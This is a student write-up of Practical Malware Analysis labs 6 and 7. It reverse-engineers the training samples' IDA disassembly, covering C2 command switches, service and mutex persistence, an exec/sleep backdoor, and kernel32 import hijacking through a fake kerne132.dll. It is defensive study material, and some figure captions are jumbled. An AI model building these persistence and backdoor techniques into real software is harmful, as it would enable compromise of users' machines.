loc_40117B:
    mov esp, ebp
    pop ebp
    retn ; Return Near from Procedure
    main endp

```

Figure 9: Lab06–03.exe | Comparisons of Lab06–03.exe (left) and Lab06–02.exe (right) main functions

ii. What parameters does this new function take?

`sub_401130` takes 2 parameters. The first is `char`, the command character read from <http://www.practicalmalwareanalysis.com/cc.htm> and `lpExistingFileName` (a long pointer to a character string, ‘Existing File Name’, which is the program’s name (Lab06–03.exe) (figure 10). These were both pushed onto the stack as part of the `main` function.

```

0000000000401130
0000000000401130
0000000000401130 ; Attributes: bp-based frame
0000000000401130
0000000000401130 ; int __cdecl sub_401130(char, LPCSTR lpExistingFileName)
0000000000401130 sub_401130 proc near
0000000000401130
0000000000401130 var_8= dword ptr -8
0000000000401130 phkResult= dword ptr -4
0000000000401130 arg_0= byte ptr 8
0000000000401130 lpExistingFileName= dword ptr 0Ch
0000000000401130
0000000000401130 55 push ebp
0000000000401131 8B EC mov ebp, esp
0000000000401133 83 EC 08 sub esp, 8 ; Integer Subtraction
0000000000401136 0F BE 45 08 movsx eax, [ebp+arg_0] ; Move with Sign-Extend
000000000040113A 89 45 F8 mov [ebp+var_8], eax
000000000040113D 8B 4D F8 mov ecx, [ebp+var_8]
0000000000401140 83 E9 61 sub ecx, 61h ; Integer Subtraction
0000000000401143 89 4D F8 mov [ebp+var_8], ecx
0000000000401146 83 7D F8 04 cmp [ebp+var_8], 4 ; switch 5 cases
000000000040114A 0F 87 91 00 00 00 ja loc_4011E1 ; jumptable 00401153 default case

```

Figure 10: Lab06–03.exe | sub_401130 parameters.

iii. What major code construct does this function contain?

IDA has helpfully indicated that the major code construct is a five-case `switch` statement by adding comments for 'switch 5 cases' and the 'jumptable 00401153 default case'. We have previously seen similar `cmp` which are `if` statements, however, in this case, there is a possibility of five paths. We can confirm this in the flowchart graph view, where there are five `switch` cases and one default case (figure 11).



Figure 11: Lab06–03.exe | sub_401130 flowchart

iv. What can this function do?

The five `switch` cases are as follows (figure 12):

Figure 13: Lab06–04.exe | Modified downloadFile function with arg 0

Of the subroutines called from `main` we have analysed (renamed to `testInternet`, `printf`, `downloadFile`, and `commandSwitch`) only `downloadFile` has seen a notable change. The `aInternetExplor` address contains the value *Internet Explorer 7.50/pma%0d* for the user-agent (`szAgent`) which includes an `%0d` not seen previously, as well as a new local variable `arg_0` (figure 13).

This instructs the `printf` function to take the passed variable `arg_0` as an argument and print as an `int`. The variable is a parameter taken in the calling of `downloadFile`, donated by IDA as `var C`(figure 14).

```
0000000000401263 8B 4D F4      mov    ecx, [ebp+var_C]
0000000000401266 51          push   ecx
0000000000401267 E8 D4 FD FF FF call   downloadFile ; Call Procedure
000000000040126C 83 C4 04      add    esp, 4        ; Add
000000000040126F 88 45 F8      mov    [ebp+command], al
0000000000401272 0F BE 55 F8      movsx edx, [ebp+command] ; Move with Sign-Extend
```

Figure 14: Lab06–04.exe | Variable passed to downloadFile

Some of the called subroutines have different memory addresses to what we saw in the previous Lab06-0X.exe's, due to the `main` function being somewhat more complex and expanded.

ii. What new code construct has been added to main?

`main` has been developed upon to include a `for` loop code construct, as observed in the flowchart graph view (figure 15).




Figure 15: Lab06–04.exe | For loop within main

A `for` loop code construct contains four main components — initialisation, comparison, execution, and increment. All of which are observed within `main` (figure 16):

Component	Instruction	Description
Initialisation	<code>mov [ebp+var_C], 0</code>	Set <code>var_C</code> to 0
Comparison	<code>cmp [ebp+var_C], 1440</code>	Check to see if <code>var_C</code> is 1440
Execution	<code>downloadFile</code> <code>commandSwitch</code>	Download and read command from the file Execute command using switch cases
Increment	<code>mov eax, [ebp+var_C]</code> <code>add eax, 1</code>	Add 1 to the value of <code>var_C</code>

Figure 16: Lab06–04.exe | For loop components

iii. What is the difference between this lab's parse HTML function and those of the previous labs?

As previously identified, the parse HTML function (`downloadFile`) now includes a passed variable. Having analysed this and `main`, we can determine that it is the `for` loop's current

conditional variable (`var_C`) value which is passed through to `downloadFile`'s user-agent `Internet Explorer 7.50/pma%0d`, as `arg_0` as this will increment by 1 each time, it may potentially be used to indicate how many times it has been run.

iv. How long will this program run? (Assume that it is connected to the Internet.)

There are several aspects of `main`'s `for` loop which can help us roughly work how long the program will run. Firstly, we know that there is a `Sleep` for 60 seconds, after the `commandSwitch` function. We also know that the conditional variable (`var_C`) is incremented by 1 each loop. (Figure 17).

```

000000000040129A E8 B1 FE FF FF    call   commandSwitch ; Call Procedure
000000000040129F 83 C4 08      add    esp, 8      ; Add
00000000004012A2 68 60 EA 00 00  push   60000        ; dwMilliseconds
00000000004012A7 FF 15 30 60 40 00  call   ds:Sleep      ; Indirect Call Near Procedure
00000000004012AD EB A2      jmp    short loc_401251 ; Jump

0000000000401251
0000000000401251
0000000000401251 8B 45 F4      loc_401251:
0000000000401254 83 C0 01      mov    eax, [ebp+var_C]
0000000000401257 89 45 F4      add    eax, 1      ; Add
000000000040125E 89 45 F4      mov    [ebp+var_C], eax

```

Figure 167: Lab06–04.exe | Sleep function and for loop increment

The `for` loop starts `var_C` at 0, and will break the loop once it reaches 1440. This means that there are 1440 60second loops, equalling 86400 seconds (24hours). The program may run for longer if the command instructs the `switch` within `commandSwitch` to sleep for 100seconds at any of the 1440 iterations.

v. Are there any new network-based indicators for this malware?

The only new NBI for Lab06–04.exe is the aInternetExplor “`Internet Explorer 7.50/pma%0d`”, with “<http://www.practicalmalwareanalysis.com/cc.htm>” as the other, already known, indicator.

vi. What is the purpose of this malware?

Lab06–04.exe is the most complex of the four samples, where a basic program to check for internet connection has been developed into an application that connects to a C2 domain to retrieve commands and perform specific actions on the host. The malware runs for a minimum of 24hrs or at least makes 1440 connections to the C2 domain with 60-second sleep intervals. The functionality of the malware allows it to copy itself to a new directory, set it as autorun for persistence by modifying a registry, delete the new file, or sleep for 100 seconds.

Practical No. 3

a. Analyze the malware found in the file Lab07-01.exe.

i. How does this program ensure that it continues running (achieves persistence) when the computer is restarted?

Creates a service named “Malservice”. Establishes connection to the service control manager (OpenSCManagerA) — requires administrator permissions, then gets handle of current process (GetCurrentProcess), gets File name (GetModuleFileNameA). Creates the service named “Malservice” which auto starts each time. (CreateServiceA)


```

push    3          ; dwDesiredAccess
push    0          ; lpDatabaseName
push    0          ; lpMachineName
call   ds:OpenSCManagerA
mov    esi, eax
call   ds:GetCurrentProcess
lea    eax, [esp+404h+Filename]
push    3E8h        ; nSize
push    eax          ; lpFilename
push    0          ; hModule
call   ds:GetModuleFileNameA
push    0          ; lpPassword
push    0          ; lpServiceStartName
push    0          ; lpDependencies
push    0          ; lpdwTagId
lea    ecx, [esp+414h+Filename]
push    0          ; lpLoadOrderGroup
push    ecx          ; lpBinaryPathName
push    0          ; dwErrorControl
push    SERVICE_AUTO_START ; dwStartType
push    SERVICE_WIN32_OWN_PROCESS ; dwServiceType
push    SC_MANAGER_CREATE_SERVICE ; dwDesiredAccess
push    offset DisplayName ; "Malservice"
push    offset DisplayName ; "Malservice"
push    esi          ; hSCManager
call   ds>CreateServiceA
xor    edx, edx
lea    eax, [esp+404h+FileTime]
mov    dword ptr [esp+404h+SystemTime.wYear], edx
lea    ecx, [esp+404h+SystemTime]
mov    dword ptr [esp+404h+SystemTime.wDayOfWeek], edx
push    eax          ; lpFileTime
mov    dword ptr [esp+408h+SystemTime.wHour], edx
push    ecx          ; lpSystemTime
mov    dword ptr [esp+40Ch+SystemTime.wSecond], edx
mov    [esp+40Ch+SystemTime.wYear], 834h
call   ds:SystemTimeToFileTime
push    0          ; lpTimerName
push    0          ; bManualReset
push    0          ; lpTimerAttributes
call   ds>CreateWaitableTimerA
push    0          ; fResume
push    0          ; lpArgToCompletionRoutine
push    0          ; pfnCompletionRoutine
lea    edx, [esp+410h+FileTime]
----  ----

```

ii. Why does this program use a mutex?

Program uses mutex to not reinfect the same machine again. Opens mutex (OpenMutexA) with the name “**HGL345**” with **MUTEX_ALL_ACCESS**. If instance is already created, terminates program, otherwise creates one.



iii. What is a good host-based signature to use for detecting this program?


Host-based signature are mutex “**HGL345**” and service “**Malservice**”, which starts the program.

iv. What is a good network-based signature for detecting this malware?

User Agent is “Internet Explorer 8.0” good network-based signature and connects to server “<http://www.malwareanalysisbook.com>” for infinity time.

```
xor    edx, edx
lea    eax, [esp+404h+FileTime]
mov    dword ptr [esp+404h+SystemTime.wYear], edx
lea    ecx, [esp+404h+SystemTime]
mov    dword ptr [esp+404h+SystemTime.wDayOfWeek], edx
push   eax        ; lpFileTime
mov    dword ptr [esp+408h+SystemTime.wHour], edx
push   ecx        ; lpSystemTime
mov    dword ptr [esp+40Ch+SystemTime.wSecond], edx
mov    [esp+40Ch+SystemTime.wYear], 2100
call   ds:SystemTimeToFileTime
push   0          ; lpTimerName
push   0          ; bManualReset
push   0          ; lpTimerAttributes
call   ds>CreateWaitableTimerA
push   0          ; fResume
push   0          ; lpArgToCompletionRoutine
push   0          ; pfnCompletionRoutine
lea    edx, [esp+410h+FileTime]
mov    esi, eax
push   0          ; lPeriod
push   edx        ; lpDueTime
push   esi        ; hTimer
call   ds:SetWaitableTimer
push   0FFFFFFFh   ; dwMilliseconds
push   esi        ; hHandle
call   ds:WaitForSingleObject
test  eax, eax
jnz   short loc_40113B
```

Creates new thread (CreateThread), important argument is lpStartAddress, which indicates the start of the thread and connects to internet (described at paragraph 4) for 20 times. Then sleeps for enormous time ~ 7.1 week and exits the program.



b. Analyze the malware found in the file Lab07-02.exe.

i. How does this program achieve persistence?

Program doesn't achieve persistance. Initializes COM object (**OleInitialize**) creates single object with specified clsid (**CoCreateInstance**).

```
; int __cdecl main(int argc, const char **argv, const char **envp)
_main proc near

ppv= dword ptr -24h
pvarg= VARIANTARG ptr -20h
var_10= word ptr -10h
var_8= dword ptr -8
argc= dword ptr 4
argv= dword ptr 8
envp= dword ptr 0Ch

sub    esp, 24h
push   0          ; pvReserved
call   ds:OleInitialize
test   eax, eax
jl    short loc_401085
```



IDA PRO represents **rclsid** and **riid** like this:

```
.rdata:00402058 ; IID rclsid
.rdata:00402058 rclsid      dd 2DF01h           ; Data1
.rdata:00402058             dw 0                ; DATA XREF: _main+1D↑o
.rdata:00402058             dw 0                ; Data2
.rdata:00402058             dw 0                ; Data3
.rdata:00402058             db 0C0h, 6 dup(0), 46h ; Data4
.rdata:00402068 ; IID riid
.rdata:00402068 riid       dd 0D30C1661h        ; Data1
.rdata:00402068             dw 0CAFh           ; DATA XREF: _main+14↑o
.rdata:00402068             dw 11D0h           ; Data2
.rdata:00402068             dw 8Ah, 3Eh, 0, 0C0h, 4Fh, 0C9h, 0E2h, 6Eh; Data3
.rdata:00402068             db 46h              ; Data4
```

There are two ways to get GUID value of rclsid and riid. Conversion through size representation:dd (dword – 4 bytes)

0002 DF01


dw 0 - 0000

dw 0 - 0000

db C0 (takes only 1 byte)

000000 46 GUID format is {8-4-4-12} If we write as GUID we get:

{0002DF01-0000-0000-C000-000000000046} Here is another way: The interval of value rclsid is from [402058-402068). If we eliminate **image base** (40 0000), we get the interval [2058-2068) or [2058-2067] (we don't want to take byte which belongs to other value).




"Data inspector" view shows **rclsid** – GUID value (Byte order should be set to Little Endian):

{0002DF01-0000-0000-C000-00000000046}


If we do the same for **riid** we get **{D30C1661-CDAF-11D0-8A3E-00C04FC9E26E}**

These registry keys will show clsid and riid meanings:**HKEY_CLASSES_ROOT\CLSID** and **HKEY_CLASSES_ROOT\Interface**. P.S. HKEY_CLASSES_ROOT (HKCR) is a shortcut of HKLM and HKCU, but in our case it doesn't matter.**HKEY_CLASSES_ROOT\CLSID\{0002DF01-0000-0000-C000-**

0000000000046} shows that CLSID belongs to **Internet Explorer (Ver 1.0)**.



HKEY_CLASSES_ROOT\Interface\{D30C1661-CDAF-11D0-8A3E-00C04FC9E26E} and the interface is **IWebBrowser2**.



More info about could be found [here](#). After execution of **CoCreateInstance** one of arguments ***ppv** contains the requested interface pointer.

C++

```
HRESULT CoCreateInstance(
    REFCLSID rclsid,
    LPUNKNOWN pUnkOuter,
    DWORD dwClsContext,
    REFIID riid,
    LPVOID *ppv
);
```

Pointer *ppv is moved to eax. which is later de-referenced (pointer to object).

```

1 lea    eax, [esp+24h+ppv]
2 push   eax      ; ppv
3 push   offset riid    ; riid
4 push   4         ; dwClsContext
5 push   0         ; pUnkOuter
6 push   offset rclsid  ; rclsid
7 call   ds:CoCreateInstance
8 mov    eax, [esp+24h+ppv] ; Pointer to interface
9 test   eax, eax
10 jz    short loc_40107F

```




```

1 lea    ecx, [esp+24h+pvarg]
2 push   esi
3 push   ecx      ; pvarg
4 call   ds:VariantInit
5 push   offset psz    ; "http://www.malwareanalysisbook.com/ad.h"...
6 mov    [esp+2Ch+var_10], 3
7 mov    [esp+2Ch+var_8], 1
8 call   ds:SysAllocString
9 lea    ecx, [esp+28h+pvarg]
10 mov   esi, eax
11 mov   eax, [esp+28h+ppv] ; Pointer to interface
12 push  ecx
13 lea    ecx, [esp+2Ch+pvarg]
14 mov   edx, [eax]      ; Dereferenced (pointer to object)
15 push  ecx
16 lea    ecx, [esp+30h+pvarg]
17 push  ecx
18 lea    ecx, [esp+34h+var_10]
19 push  ecx
20 push  esi
21 push  eax
22 call  dword ptr [edx+2Ch] ; ->Navigate
23 push  esi      ; bstrString
24 call  ds:SysFreeString
25 pop   esi

```

From de-referenced object 2Ch is added (44 in dec).



iii. When will this program finish executing?

After some cleanup functions: `SysFreeString` and `OleUninitialize` program terminates.


c. For this lab, we obtained the malicious executable, Lab07-03.exe, and DLL, Lab07-03.dll, prior to executing. This is important to note because the malware might change once it runs. Both files were found in the same directory on the victim machine. If you run the program, you should ensure that both files are in the same directory on the analysis machine. A visible IP string beginning with 127 (a loopback address) connects to the local machine. (In the real version of this malware, this address connects to a remote machine, but we've set it to connect to localhost to protect you.)

i- How does this program achieve persistence to ensure that it continues running when the computer is restarted?

Persistence is achieved by writing file to
"C:\Windows\System32\Kerne132.dll"
and modifying every ".exe" file to import that library.

ii. What are two good host-based signatures for this malware?

Good host-based signatures are:
"C:\\Windows\\\\System32\\\\Kerne132.dll"
Mutex name "**SADFHUHF**"




Using API Monitor from [Rohitab](#) we identify what is it doing:
 Searching for executables ".exe" in C drive.
 If found opens it, Creates file mapping object, opens it in memory, searches if import is "kernel32.dll". Replaces with "kernel1.dll" Unmaps from memory. Closes handles.

Summary 64,182 of 299,591 calls 78% filtered out 94.99 MB used Lab07-03.exe				
#	Time of Day	Thread	Module	API
68723	2:40:10,724 PM	1	Lab07-03.exe	CreateFileA ("C:\Program Files\WinRAR\WinRAR.exe", GENERIC_ALL, FILE_SHARE_READ, NULL, OPEN)
68735	2:40:10,724 PM	1	Lab07-03.exe	CreateFileMappingA (0x00000770, NULL, PAGE_READWRITE, 0, 0, NULL)
68737	2:40:11,425 PM	1	Lab07-03.exe	MapViewOfFile (0x00000774, FILE_MAP_ALL_ACCESS, 0, 0, 0)
68739	2:40:11,425 PM	1	Lab07-03.exe	IsBadReadPtr (0x02400118, 4)
68740	2:40:11,425 PM	1	Lab07-03.exe	IsBadReadPtr (0x0253d58c, 20)
68741	2:40:11,425 PM	1	Lab07-03.exe	IsBadReadPtr (0x0253e7e0, 20)
68742	2:40:11,425 PM	1	Lab07-03.exe	_strcmp ("KERNEL32.dll", "kernel32.dll")
68746	2:40:11,425 PM	1	Lab07-03.exe	IsBadReadPtr (0x0253f1ae, 20)
68747	2:40:11,425 PM	1	Lab07-03.exe	_strcmp ("USER32.dll", "kernel32.dll")
68751	2:40:11,425 PM	1	Lab07-03.exe	IsBadReadPtr (0x0253f37c, 20)
68752	2:40:11,425 PM	1	Lab07-03.exe	_strcmp ("GDI32.dll", "kernel32.dll")
68756	2:40:11,425 PM	1	Lab07-03.exe	IsBadReadPtr (0x0253f3d4, 20)
68757	2:40:11,425 PM	1	Lab07-03.exe	_strcmp ("COMDLG32.dll", "kernel32.dll")
68761	2:40:11,425 PM	1	Lab07-03.exe	IsBadReadPtr (0x0253f5c4, 20)
68762	2:40:11,425 PM	1	Lab07-03.exe	_strcmp ("ADVAPI32.dll", "kernel32.dll")
68766	2:40:11,425 PM	1	Lab07-03.exe	IsBadReadPtr (0x0253f732, 20)
68767	2:40:11,425 PM	1	Lab07-03.exe	_strcmp ("SHELL32.dll", "kernel32.dll")
68771	2:40:11,425 PM	1	Lab07-03.exe	IsBadReadPtr (0x0253f818, 20)

If any of executable (not in memory) is opened in “PEStudio”, we see there only “kerne132.dll” library is imported.

library (5)	blacklist (0)	type (1)	imports (45)	description
msvcr7.dll	-	implicit	1	Windows NT CRT DLL
advapi32.dll	-	implicit	3	Advanced Windows 32 Base API
kernel32.dll	-	implicit	29	n/a
user32.dll	-	implicit	5	Windows XP USER API Client DLL
shlwapi.dll	-	implicit	7	Shell Light-weight Utility Library

Static analysis Executable is launched with this parameter
“WARNING_THIS_WILL_DESTROY_YOUR_MACHINE”



```

mov    eax, [esp+54h+argv]
mov    esi, offset aWarningThisWill ; "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE"
mov    eax, [eax+4]

```

Opens file "C:\\Windows\\System32\\Kernel32.dll" (CreateFileA) with read permissions (File_Share_Read and Generic read). Creates mapping object (CreateFileMappingA with Page_ Readonly permissions) for this file. This mapping object is used to map (copy) in to the memory. Opens another file (CreateFileA in FILE_SHARE_READ mode) "Lab07-03.dll". Exits if failed to open the library (Lab07-03.dll).




```


mov    edi, ds>CreateFileA
push   eax          ; hTemplateFile
push   eax          ; dwFlagsAndAttributes
push   OPEN_EXISTING ; dwCreationDisposition
push   eax          ; lpSecurityAttributes
push   FILE_SHARE_READ ; dwShareMode
push   GENERIC_READ  ; dwDesiredAccess
push   offset FileName ; "C:\\Windows\\System32\\Kernel32.dll"
call   edi ; CreateFileA
mov    ebx, ds>CreateFileMappingA
push   0            ; lpName
push   0            ; dwMaximumSizeLow
push   0            ; dwMaximumSizeHigh
push   PAGE_READONLY ; flProtect
push   0            ; lpFileMappingAttributes
push   eax          ; hFile
mov    [esp+6Ch+hObject], eax
call   ebx ; CreateFileMappingA
mov    ebp, dsMapViewOfFile
push   0            ; dwNumberOfBytesToMap
push   0            ; dwFileOffsetLow
push   0            ; dwFileOffsetHigh
push   FILE_MAP_READ ; dwDesiredAccess
push   eax          ; hFileMappingObject
call   ebp ; MapViewOfFile
push   0            ; hTemplateFile
push   0            ; dwFlagsAndAttributes
push   OPEN_EXISTING ; dwCreationDisposition
push   0            ; lpSecurityAttributes
push   FILE_SHARE_READ ; dwShareMode
mov    esi, eax
push   GENERIC_ALL  ; dwDesiredAccess
push   offset ExistingFileName ; "Lab07-03.dll"
mov    [esp+70h+argc], esi
call   edi ; CreateFileA
cmp    eax, 0FFFFFFFh
mov    [esp+54h+var_4], eax
push   0            ; lpName
jnz   short loc_401503

```

Creates file mapping object of the library "Lab07-03.dll" (CreateFileMappingA with PAGE_READWRITE protection). Maps this object in to the memory (MapViewOfFile with FILE_MAP_ALL_ACCESS). Exits if failed to map.



If not the directory checks if filename is equal to ".." (current directory).



Also compares if it is root directory ("..")

```

mov    esi, offset asc_40303C ; ".."
lea    eax, [esp+154h+FindFileData.cFileName]

```

Explanation:

If you enter "dir" command in "cmd.exe" see one dot (current directory) and two dots (root directory).

```

06/28/2020 05:17 AM <DIR> .
06/28/2020 05:17 AM <DIR> ..

```

For example if current directory is "C:\WINDOWS\system32", then root dir is "C:\WINDOWS". Also compares if it is root directory ("..")

```


mov    esi, offset asc_40303C ; ".."
lea    eax, [esp+154h+FindFileData.cFileName]

```

```


lea edi, [esp+154h+FindFileData.cFileName] ; edi points to file
name
or ecx, OFFFFFFFFFh ; clever way to set ecx to -1
xor eax, eax ; set eax register to zero
repne scasb ; repeat if eax and edi are not equal to null. Each
cycle ecx is decremented, until it finds null symbol at the end
of string.
not ecx ; inverts negative number to positive. Have string
length + 1 (null byte)
dec ecx ; string length
All these assembly instruction do the same as strlen in
c++. Allocates space for file name in memory (malloc).
Checks if file extension is ".exe".

```



The screenshot shows a debugger interface with assembly code. The code is written in Intel syntax and appears to be part of a malware sample. It involves several memory operations (lea, mov, or, xor, repne scasb, repne scasd, repne scasd), string operations (push, call ds:malloc, rep movsd, rep movsb), and comparisons (call ds:_strcmp). The assembly uses registers like edi, edx, ecx, eax, and esi, and memory addresses like [esp+154h+FindFileData.cFileName]. The code is heavily annotated with green comments explaining the purpose of various instructions and variables.

```
loc_40135C:
    lea    edi, [esp+154h+FindFileData.cFileName]
    or     ecx, 0xFFFFFFFFh
    xor    eax, eax
    repne scasb
    not   ecx
    dec    ecx
    mov    edi, ebp
    lea    ebx, [esp+ecx+154h+FindFileData.dwReserved1]
    or     ecx, 0xFFFFFFFFh
    repne scasb
    not   ecx
    dec    ecx
    lea    edi, [esp+154h+FindFileData.cFileName]
    mov    edx, ecx
    or     ecx, 0xFFFFFFFFh
    repne scasb
    not   ecx
    dec    ecx
    lea    eax, [edx+ecx+1]
    push   eax          ; Size
    call   ds:malloc
    mov    edx, [esp+158h+lpFileName]
    mov    ebp, eax
    mov    edi, edx
    or     ecx, 0xFFFFFFFFh
    xor    eax, eax
    push   offset aExe   ; ".exe"
    repne scasb
    not   ecx
    sub   edi, ecx
    push   ebx          ; Str1
    mov    eax, ecx
    mov    esi, edi
    mov    edi, ebp
    shr    ecx, 2
    rep movsd
    mov    ecx, eax
    xor    eax, eax
    and   ecx, 3
    rep movsb
    mov    edi, edx
    or     ecx, 0xFFFFFFFFh
    repne scasb
    not   ecx
    dec    ecx
    lea    edi, [esp+160h+FindFileData.cFileName]
    mov    [ecx+ebp-1], al
    or     ecx, 0xFFFFFFFFh
    repne scasb
    not   ecx
    sub   edi, ecx
    mov    esi, edi
    mov    edx, ecx
    mov    edi, ebp
    or     ecx, 0xFFFFFFFFh
    repne scasb
    mov    ecx, edx
    dec    edi
    shr    ecx, 2
    rep movsd
    mov    ecx, edx
    and   ecx, 3
    rep movsb
    call   ds:_strcmp
    add    esp, 0Ch
    test   eax, eax
    jnz   short loc_40140C
```



Dll creates or opens the mutex **"SADFHUHF"**. Mutex are useful to check if instance of the program has been executed before or not.

```

mov    al, byte_10026054
mov    ecx, 3FFh
mov    [esp+1208h+buf], al
xor    eax, eax
lea    edi, [esp+1208h+var_FFF]
push   offset Name      ; "SADFHUHF"
rep stosd
stosw
push   0                 ; bInheritHandle
push   MUTEX_ALL_ACCESS ; dwDesiredAccess
stosb
call   ds:OpenMutexA
test   eax, eax
jnz   loc_100011E8

```



```

push   offset Name      ; "SADFHUHF"
push   eax              ; bInitialOwner
push   eax              ; lpMutexAttributes
call   ds>CreateMutexA
lea    ecx, [esp+1208h+WSAData]
push   ecx              ; lpWSAData
push   202h              ; wVersionRequested
call   ds:WSAStartup
test   eax, eax
jnz   loc_100011E8

```

Initiates Winsock dll function (WSAStartup) uses **TCP** protocol to connect to server **"127.26.152.13:80"**.

```

push    IPPROTO_TCP      ; protocol
push    SOCK_STREAM       ; type
push    AF_INET           ; af
call    ds:socket
mov     esi, eax
cmp    eax, 0xFFFFFFFFh
jz     loc_100011E2

```



```

push    offset cp          ; "127.26.152.13"
mov     [esp+120Ch+name.sa_family], 2
call   ds:inet_addr
push    80                 ; hostshort
mov     dword ptr [esp+120Ch+name.sa_data+2], eax
call   ds:htons
lea     edx, [esp+1208h+name]
push    10h                ; namelen
push    edx                ; name
push    esi                ; s
mov     word ptr [esp+1214h+name.sa_data], ax
call   ds:connect
cmp    eax, 0xFFFFFFFFh
jz     loc_100011DB

```

If connects to server, sends hello message: "**hello**".
Disables send on a socket (shutdown).

```

loc_100010E9:
mov    edi, offset buf ; "hello"
or    ecx, 0xFFFFFFFFh
xor   eax, eax
push  0                 ; flags
repne scasb
not   ecx
dec   ecx
push  ecx                ; len
push  offset buf          ; "hello"
push  esi                ; s
call  ds:send
cmp   eax, 0xFFFFFFFFh
jz   loc_100011DB

```




```

push  SD_SEND             ; how
push  esi                 ; s
call  ds:shutdown
cmp   eax, 0xFFFFFFFFh
jz   loc_100011DB

```

Ready to receive command from the server. Received message is up to 4096 bytes length. Compares if command is "**sleep**" (sleeps for 1 min and repeats the same from sending hello message).




If command is “**exec**”, Creates process ([CreateProcessA](#)) with argument “CREATE_NO_WINDOW”. One of the most important parameter is lpCommandLine. Looking backwards edx register is pushed on to the stack. edx has the address of **CommandLine** (calculated using lea instruction).

```

mov ecx, 11h
lea edi, [esp+1208h+StartupInfo]
rep stosd
lea eax, [esp+1208h+ProcessInformation]
lea ecx, [esp+1208h+StartupInfo]
push eax ; lpProcessInformation
push ecx ; lpStartupInfo
push 0 ; lpCurrentDirectory
push 0 ; lpEnvironment
push CREATE_NO_WINDOW ; dwCreationFlags
push 1 ; bInheritHandles
push 0 ; lpThreadAttributes
lea edx, [esp+1224h+CommandLine]
push 0 ; lpProcessAttributes
push edx ; lpCommandLine
push 0 ; lpApplicationName
mov [esp+1230h+StartupInfo.cb], 44h ; 'D'
call ebx ; CreateProcessA
jmp loc_100010E9

```

This address doesn't appear anywhere except the beginning of function:



```
; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
_DllMain@12 proc near

hObject= dword ptr -11F8h
name= sockaddr ptr -11F4h
ProcessInformation= _PROCESS_INFORMATION ptr -11E4h
StartupInfo= _STARTUPINFOA ptr -11D4h
WSAData= WSAData ptr -1190h
buf= byte ptr -1000h
var_FFF= byte ptr -0FFFh
CommandLine= byte ptr -0FFBh
hinstDLL= dword ptr 4
fdwReason= dword ptr 8
lpvReserved= dword ptr 0Ch

mov    eax, 11F8h
call   __alloca_probe
mov    eax, [esp+11F8h+fdwReason]
push   ebx
push   ebp
push   esi
cmp    eax, 1
push   edi
jnz    loc_100011E8
```


It means that it has not defined CommandLine already. The value appears on a runtime, when command is received from server. Variables has negative, while arguments - positive value. CommandLine is the variable. **buf** contains the received command and **CommandLine** contains what to execute. The difference between buf and CommandLine are 5 bytes. $1000h - FFBh = 5$ (h means in hexadecimal).

```

-00000000000011FF      db ? ; undefined
-00000000000011FE      db ? ; undefined
-00000000000011FD      db ? ; undefined
-00000000000011FC      db ? ; undefined
-00000000000011FB      db ? ; undefined
-00000000000011FA      db ? ; undefined
-00000000000011F9      db ? ; undefined
-00000000000011F8 hObject dd ? ; offset
-00000000000011F4 name    sockaddr ?
-00000000000011E4 ProcessInformation _PROCESS_INFORMATION ?
-00000000000011D4 StartupInfo _STARTUPINFOA ?
-0000000000001190 WSADATA WSADATA ?
-0000000000001000 buf    db ?
-0000000000000FFF var_FFF db ?
-0000000000000FFE db ? ; undefined
-0000000000000FFD db ? ; undefined
-0000000000000FFC db ? ; undefined
-0000000000000FFB CommandLine db ?
-0000000000000FFA db ? ; undefined
-0000000000000FF9 db ? ; undefined
-0000000000000FF8 db ? ; undefined
-0000000000000FF7 db ? ; undefined
-0000000000000FF6 db ? ; undefined
-0000000000000FF5 db ? ; undefined
-0000000000000FF4 db ? ; undefined
-0000000000000FF3 db ? ; undefined
SP+0000000000000000208

```

If we look at the received buff command, we got “exec”, which is 4 bytes long. Mostly the space (fifth byte) is the separator between exec and CommandLine. Strings are the arrays (index will be visualized as the arrow where it points). Index points before or after the symbol, not on the letter itself. Every array starts from zero index – [0] (before “e” letter). Index of [1] -points after “e” and before “x”.



If command is “q” exits loop. If none of them – Sleep for 1 minute and loop.

When executable is found, calls mv_mapfile function (renamed by myself). Opens executable (CreateFileA). Creates mapping object (CreateFileMappingA). Maps file in to the memory (MapViewOfFile).

```
; int __cdecl mv_mapfile(LPCSTR lpFileName)
_mv_mapfile proc near

var_C= dword ptr -0Ch
hObject= dword ptr -8
var_4= dword ptr -4
lpFileName= dword ptr 4

sub esp, 0Ch
push ebx
mov eax, [esp+10h+lpFileName]
push ebp
push esi
push edi
push 0          ; hTemplateFile
push 0          ; dwFlagsAndAttributes
push OPEN_EXISTING ; dwCreationDisposition
push 0          ; lpSecurityAttributes
push FILE_SHARE_READ ; dwShareMode
push GENERIC_ALL ; dwDesiredAccess
push eax        ; lpFileName
call ds>CreateFileA
push 0          ; lpName
push 0          ; dwMaximumSizeLow
push 0          ; dwMaximumSizeHigh
push PAGE_READWRITE ; flProtect
push 0          ; lpFileMappingAttributes
push eax        ; hFile
mov [esp+34h+var_4], eax
call ds>CreateFileMappingA
push 0          ; dwNumberOfBytesToMap
push 0          ; dwFileOffsetLow
push 0          ; dwFileOffsetHigh
push FILE_MAP_ALL_ACCESS ; dwDesiredAccess
push eax        ; hFileMappingObject
mov [esp+30h+hObject], eax
call ds>MapViewOfFile
mov esi, eax
test esi, esi
mov [esp+1Ch+var_C], esi
jz loc_4011D5
```

Esi register points to start of the file.

mov ebp, [esi + 3Ch]; dosheader->e_lfanew

cmp dword ptr [ebp+0], 4550h ; Check if valid 'PE' header.

To understand this you should know [PE structure](#).

The screenshot shows two windows from PEViewer. The top window displays assembly code:

```

mov      ebp, [esi+3Ch]
mov      ebx, ds: IsBadReadPtr
add      ebp, esi
push    4          ; ucb
push    ebp          ; lp
call    ebx ; IsBadReadPtr
test    eax, eax
jnz     loc_4011D5

```

The bottom window shows the memory dump at address 0000003C:

```

cmp      dword ptr [ebp+0], 4550h
jnz     loc_4011D5

```

Arrows indicate the flow from the assembly code to the memory dump.

Explanation:

File is opened in PEViewer. 3Ch (RVA-Relative virtual address) points to **offset to New EXE Header**. In order to get the value (Data), it should be de referenced [] brackets grabs whats at that address: E8h (in our example).

DosHeader->e_lfanew (equivalent in c++)

The screenshot shows the file structure of Lab07-03.exe. The left pane shows the directory tree, and the right pane shows a table of entries:

	RVA	Data	Description
IMAGE_DOS_HEADER	00000022	0000	Reserved
MS-DOS Stub Program	00000024	0000	OEM Identifier
IMAGE_NT_HEADERS	00000026	0000	OEM Information
Signature	00000028	0000	Reserved
